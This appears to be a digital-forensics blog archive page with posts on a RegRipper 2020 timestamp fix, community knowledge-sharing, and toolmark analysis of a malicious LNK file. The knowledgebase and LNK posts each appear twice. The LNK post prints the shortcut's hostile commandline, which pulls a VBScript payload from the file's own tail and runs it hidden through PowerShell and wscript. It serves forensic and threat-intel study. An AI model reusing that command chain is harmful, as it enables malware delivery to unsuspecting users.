'cogphn' recently reached to me via the RegRipper GitHub repo to let me know that they'd found an issue with a plugin, and this was followed by a similar issue posted by William Schaefer. It seems that as soon as the clocks rolled over to 2020, the function within the Parse::Win32Registry module that gets key LastWrite times and translates them from FILETIME to Unix epoch format broke, and started returning 0. I fixed the function, and recompiled the executable files for rip.exe and the RegRipper GUI (rr.exe), and uploaded copies of the files to GitHub.
If you're just using the Windows executables, all you should need to do at this point is simply download the updated EXE files and you'll be on your way. I've done some local testing and things seem to be back on track. If you do find that there are continued issues, please let me know.
If you're running RegRipper as its Perl variant, I've also uploaded the 'fixed' Base.pm file, and included instructions in the readme file regarding updating your local copy of the file.
Addenum, 10 Jan
This issue also impacted regtime.exe, so I went ahead and recompiled the EXE and uploaded it to the Github repo. The source code (Perl script) did not require any modifications, but if you are running the Perl script, be sure to get the new Base.pm file and replace the one in your Parse::Win32Registry install, if you haven't already.
Maintaining The KnowledgeBase
As 2019 closes, we move into not just a new year, but also a new decade. While, for the most part, this isn't entirely significant...after all, how different will you really be when you wake up on 2 Jan...times such as this offer an opportunity for reflection and for addressing those things what we may decide we need to change.
I blogged recently regarding Brett's thoughts on how to do about improving #DFIR skills, and to some extend, expanding on them from my own perspective. Then this morning, I was perusing one of the social media sites that I frequent, and came across a question regarding forensic analysis of "significant locations" on an iPhone 6. I really have no experience with smart phones or iOS, but I thought it would be interesting to take a quick look, so I did a Google search. The first result was an article that had been posted on the same social media site a year and a half ago.
I recently engaged with another analyst via social media, regarding recovering Registry hives from unallocated space. The analyst had specifically asked about FOSS tools, and in relatively short order, I found an 8 pg PDF document on the subject, written by Andrew Case. The document wasn't dated, but it did refer specifically to Windows XP, so that gave me some idea of the time frame as to when Andrew "put pen to paper", as it were. Interestingly, Andrew's paper made use of one of the FOSS tools the analyst asked about, so it worked out pretty well.
The industry is populated by the full spectrum of #DFIR folks, from those interested in the topic and enthusiasts, to folks for whom digital analysis work is part of their job but not an everyday thing, all the way through academics and highly dedicated professionals. There are those who don't "do" DFIR analysis all the time, and those whose primary role is to do nothing but digital analysis and research.
And there's always something new to learn, isn't there? There's always a question that needs to be answered, such as, "how do I recover an NTUSER.DAT hive from a deleted user profile?" I would go so far as to say that we all have questions such as these from time to time, and that some of us have the time to research these questions, and others don't. Some of us find applicable results pretty quickly, and some of us can spend a great deal of time searching for an answer, never finding anything that applies to what we're trying to accomplish. I know that's happened to me more times than I care to count.
The good news is that, in most cases, the information someone is seeking is out there. Someone knows it, and someone may have even written it down. The bad news is...the information is out there. If you don't have enough experience in the field or topic in question, you're likely going to have difficulty finding what you're looking for. I get it. For every time I run a Google search and the first half a dozen responses hit the nail squarely on the head, there are 5 or 6 searches where I've just not found anything of use...not because it doesn't exist but more likely due to my search terms.
Training can be expensive, and can require the attendee to be out of the office or off the bench for an extended period of time. And training my very often not cover those things for which we have questions. For example, throughout the past two decades, I've not only spoken publicly multiple times on the topic of Registry analysis, as well as written and conducted training courses (and even written books on the topic), but it never occurred to me that someone would want to recover the NTUSER.DAT hive from a deleted profile. And, even though I've asked multiple times over the years for feedback, even posing the question, "...what would you like to see covered/addressed?", not once has the topic of recovering deleted hives come up.
That is, until recently. Now, we have a need for "just in time training". The good news is that we have multiple resources available to us...Google, the Forensics Wiki, and Brett's DFIR Training site, to name a few. The down side is that even searching these sites in particular, you may not find what you're looking for.
So, for the coming year...nay, the coming decade...my request or "call to action" is for folks in the community to take more active steps in a couple of areas. First, develop purposeful, intentional relationships in the community. Go beyond following someone on social media, or clicking "Like" or "RT" to everything you see. Instead, connect with someone because you have a purposeful intention for doing so, and because you're aware of the value that you bring to the relationship. What this leads to is developing relationships based on trust, and subsequently, the sharing of tribal knowledge.
Second, actively take steps to maintain the knowledgebase. If you're looking for something, try the established repositories. If you can't find it there, but you do find an answer, and even if you end up building the answer yourself from bits and pieces, take active steps to ensure that what you found doesn't pass undocumented. I'll be the first to tell you that I haven't seen everything there is to see...I've never done a BEC investigation. There are a lot of ransomware infections I've never seen, nor investigated. My point is that we don't all see everything, but by sharing what we've experienced, we can ensure that more of us can benefit from each other's experiences. Jim Mattis, former Marine Corps warfighter and general officer, and former Secretary of Defense, stated in his recent book that our "own personal experiences are not broad enough to sustain [us]." This is 1000% true for warfighters, as well as for threat hunters, and forensic and intel analysts.
So, for the coming of the new year, resolve to take a more active role not just in learning new things, but adding to the knowledgebase of the community.
I blogged recently regarding Brett's thoughts on how to do about improving #DFIR skills, and to some extend, expanding on them from my own perspective. Then this morning, I was perusing one of the social media sites that I frequent, and came across a question regarding forensic analysis of "significant locations" on an iPhone 6. I really have no experience with smart phones or iOS, but I thought it would be interesting to take a quick look, so I did a Google search. The first result was an article that had been posted on the same social media site a year and a half ago.
I recently engaged with another analyst via social media, regarding recovering Registry hives from unallocated space. The analyst had specifically asked about FOSS tools, and in relatively short order, I found an 8 pg PDF document on the subject, written by Andrew Case. The document wasn't dated, but it did refer specifically to Windows XP, so that gave me some idea of the time frame as to when Andrew "put pen to paper", as it were. Interestingly, Andrew's paper made use of one of the FOSS tools the analyst asked about, so it worked out pretty well.
The industry is populated by the full spectrum of #DFIR folks, from those interested in the topic and enthusiasts, to folks for whom digital analysis work is part of their job but not an everyday thing, all the way through academics and highly dedicated professionals. There are those who don't "do" DFIR analysis all the time, and those whose primary role is to do nothing but digital analysis and research.
And there's always something new to learn, isn't there? There's always a question that needs to be answered, such as, "how do I recover an NTUSER.DAT hive from a deleted user profile?" I would go so far as to say that we all have questions such as these from time to time, and that some of us have the time to research these questions, and others don't. Some of us find applicable results pretty quickly, and some of us can spend a great deal of time searching for an answer, never finding anything that applies to what we're trying to accomplish. I know that's happened to me more times than I care to count.
The good news is that, in most cases, the information someone is seeking is out there. Someone knows it, and someone may have even written it down. The bad news is...the information is out there. If you don't have enough experience in the field or topic in question, you're likely going to have difficulty finding what you're looking for. I get it. For every time I run a Google search and the first half a dozen responses hit the nail squarely on the head, there are 5 or 6 searches where I've just not found anything of use...not because it doesn't exist but more likely due to my search terms.
Training can be expensive, and can require the attendee to be out of the office or off the bench for an extended period of time. And training my very often not cover those things for which we have questions. For example, throughout the past two decades, I've not only spoken publicly multiple times on the topic of Registry analysis, as well as written and conducted training courses (and even written books on the topic), but it never occurred to me that someone would want to recover the NTUSER.DAT hive from a deleted profile. And, even though I've asked multiple times over the years for feedback, even posing the question, "...what would you like to see covered/addressed?", not once has the topic of recovering deleted hives come up.
That is, until recently. Now, we have a need for "just in time training". The good news is that we have multiple resources available to us...Google, the Forensics Wiki, and Brett's DFIR Training site, to name a few. The down side is that even searching these sites in particular, you may not find what you're looking for.
So, for the coming year...nay, the coming decade...my request or "call to action" is for folks in the community to take more active steps in a couple of areas. First, develop purposeful, intentional relationships in the community. Go beyond following someone on social media, or clicking "Like" or "RT" to everything you see. Instead, connect with someone because you have a purposeful intention for doing so, and because you're aware of the value that you bring to the relationship. What this leads to is developing relationships based on trust, and subsequently, the sharing of tribal knowledge.
Second, actively take steps to maintain the knowledgebase. If you're looking for something, try the established repositories. If you can't find it there, but you do find an answer, and even if you end up building the answer yourself from bits and pieces, take active steps to ensure that what you found doesn't pass undocumented. I'll be the first to tell you that I haven't seen everything there is to see...I've never done a BEC investigation. There are a lot of ransomware infections I've never seen, nor investigated. My point is that we don't all see everything, but by sharing what we've experienced, we can ensure that more of us can benefit from each other's experiences. Jim Mattis, former Marine Corps warfighter and general officer, and former Secretary of Defense, stated in his recent book that our "own personal experiences are not broad enough to sustain [us]." This is 1000% true for warfighters, as well as for threat hunters, and forensic and intel analysts.
So, for the coming of the new year, resolve to take a more active role not just in learning new things, but adding to the knowledgebase of the community.
LNK Toolmarks
Matt posted a blog article a while back, and I took interest in large part because it involved an LNK file. Matt provided a hash for the file in question, as well as a walk-through of his "peeling of the onion", as it were. However, one of the things that Matt pointed out that still needed to be done was toolmark analysis.
In his article, Matt says that LNK file, "...stitch together the world between the attacker and the victim." He's right. When an actor sends an LNK file to a target, particularly as an email attachment, they are sharing evidence of their development environment, which can be used to track threat actors and their campaigns. This is facilitated by the fact that LNK files not only contain a great deal of metadata from the actor's dev environment that act as "toolmarks", but also due to the fact that the absence of portions of that metadata can also be considered "toolmarks", as well.
The metadata extracted from the LNK file Matt discussed is illustrated below:
File: d:\cases\lnk\foto
guid {00021401-0000-0000-c000-000000000046}
mtime Sat Sep 15 07:28:38 2018 Z
atime Thu Sep 26 22:40:14 2019 Z
ctime Sat Sep 15 07:28:38 2018 Z
workingdir %CD%
basepath C:\Windows\System32\cmd.exe
shitemidlist My Computer/C:\/Windows/System32/cmd.exe
**Shell Items Details (times in UTC)**
C:2018-09-15 06:09:28 M:2019-09-23 17:18:10 A:2019-09-26 22:31:52 Windows (9) [526/1]
C:2018-09-15 06:09:28 M:2019-05-06 20:04:58 A:2019-09-26 22:02:08 System32 (9) [2246/1]
C:2018-09-15 07:28:40 M:2018-09-15 07:28:40 A:2019-09-26 22:38:36 cmd.exe (9)
vol_sn D4DA-5010
vol_type Fixed Disk
commandline /c start "" explorer "%cd%\Foto" | powershell -NonInteractive -noLogo -c "& {get-content %cd%\Foto.lnk | select -Last 1 > %appdata%\_.vbe}" && start "" wscript //B "%appdata%\_.vbe"
iconfilename C:\Windows\System32\shell32.dll
hotkey 0x0
showcmd 0x7
***LinkFlags***
HasLinkTargetIDList|IsUnicode|HasWorkingDir|HasExpIcon|HasLinkInfo|HasArguments|HasIconLocation|HasRelativePath
As you can see, we have a good bit of what we'd expect to see in an LNK file, but there are also elements clearly absent, items we'd expect to see that just aren't there. For example, there are no Extra Data Blocks (confirmed by visual inspection), and as such, no MAC address, no machine ID (or NetBIOS name), etc. These missing pieces can be viewed as toolmarks, and we've seen where code executed by an LNK file has been appended to the end of the LNK file itself.
While this particular LNK file is missing a good bit of what we would expect to see, based on the file format, there is still a good bit of information available that can be used to develop a better intel picture. For example, the volume serial number is intact, and that can be used in a VirusTotal retro-hunt to locate other, perhaps similar LNK files. This would then give some insight into how often this particular technique (and dev system) seem to be in use and in play, and if the VirusTotal page for each file found contains some information about the campaign, on which it was seen, that might also be helplful.
What something like this illustrates is the need for tying DFIR work much closer to CTI, and even EDR/MSS. Some organizations still have these functions as separate business units, and this is particularly true within consulting organizations. In such instances, CTI resources do not have the benefit of accessing DFIR information (and to some extent, vice versa), minimizing the view into incidents and campaigns. Having the ability to fully exploit DFIR data, such as LNK files, and incorporating that information into CTI reporting produces a much richer picture, as evidenced by this FireEye write-up regarding Cozy Bear.
In his article, Matt says that LNK file, "...stitch together the world between the attacker and the victim." He's right. When an actor sends an LNK file to a target, particularly as an email attachment, they are sharing evidence of their development environment, which can be used to track threat actors and their campaigns. This is facilitated by the fact that LNK files not only contain a great deal of metadata from the actor's dev environment that act as "toolmarks", but also due to the fact that the absence of portions of that metadata can also be considered "toolmarks", as well.
The metadata extracted from the LNK file Matt discussed is illustrated below:
File: d:\cases\lnk\foto
guid {00021401-0000-0000-c000-000000000046}
mtime Sat Sep 15 07:28:38 2018 Z
atime Thu Sep 26 22:40:14 2019 Z
ctime Sat Sep 15 07:28:38 2018 Z
workingdir %CD%
basepath C:\Windows\System32\cmd.exe
shitemidlist My Computer/C:\/Windows/System32/cmd.exe
**Shell Items Details (times in UTC)**
C:2018-09-15 06:09:28 M:2019-09-23 17:18:10 A:2019-09-26 22:31:52 Windows (9) [526/1]
C:2018-09-15 06:09:28 M:2019-05-06 20:04:58 A:2019-09-26 22:02:08 System32 (9) [2246/1]
C:2018-09-15 07:28:40 M:2018-09-15 07:28:40 A:2019-09-26 22:38:36 cmd.exe (9)
vol_sn D4DA-5010
vol_type Fixed Disk
commandline /c start "" explorer "%cd%\Foto" | powershell -NonInteractive -noLogo -c "& {get-content %cd%\Foto.lnk | select -Last 1 > %appdata%\_.vbe}" && start "" wscript //B "%appdata%\_.vbe"
iconfilename C:\Windows\System32\shell32.dll
hotkey 0x0
showcmd 0x7
***LinkFlags***
HasLinkTargetIDList|IsUnicode|HasWorkingDir|HasExpIcon|HasLinkInfo|HasArguments|HasIconLocation|HasRelativePath
As you can see, we have a good bit of what we'd expect to see in an LNK file, but there are also elements clearly absent, items we'd expect to see that just aren't there. For example, there are no Extra Data Blocks (confirmed by visual inspection), and as such, no MAC address, no machine ID (or NetBIOS name), etc. These missing pieces can be viewed as toolmarks, and we've seen where code executed by an LNK file has been appended to the end of the LNK file itself.
While this particular LNK file is missing a good bit of what we would expect to see, based on the file format, there is still a good bit of information available that can be used to develop a better intel picture. For example, the volume serial number is intact, and that can be used in a VirusTotal retro-hunt to locate other, perhaps similar LNK files. This would then give some insight into how often this particular technique (and dev system) seem to be in use and in play, and if the VirusTotal page for each file found contains some information about the campaign, on which it was seen, that might also be helplful.
What something like this illustrates is the need for tying DFIR work much closer to CTI, and even EDR/MSS. Some organizations still have these functions as separate business units, and this is particularly true within consulting organizations. In such instances, CTI resources do not have the benefit of accessing DFIR information (and to some extent, vice versa), minimizing the view into incidents and campaigns. Having the ability to fully exploit DFIR data, such as LNK files, and incorporating that information into CTI reporting produces a much richer picture, as evidenced by this FireEye write-up regarding Cozy Bear.
- 1
- 2
- 3
- …
- 8
- Next Page »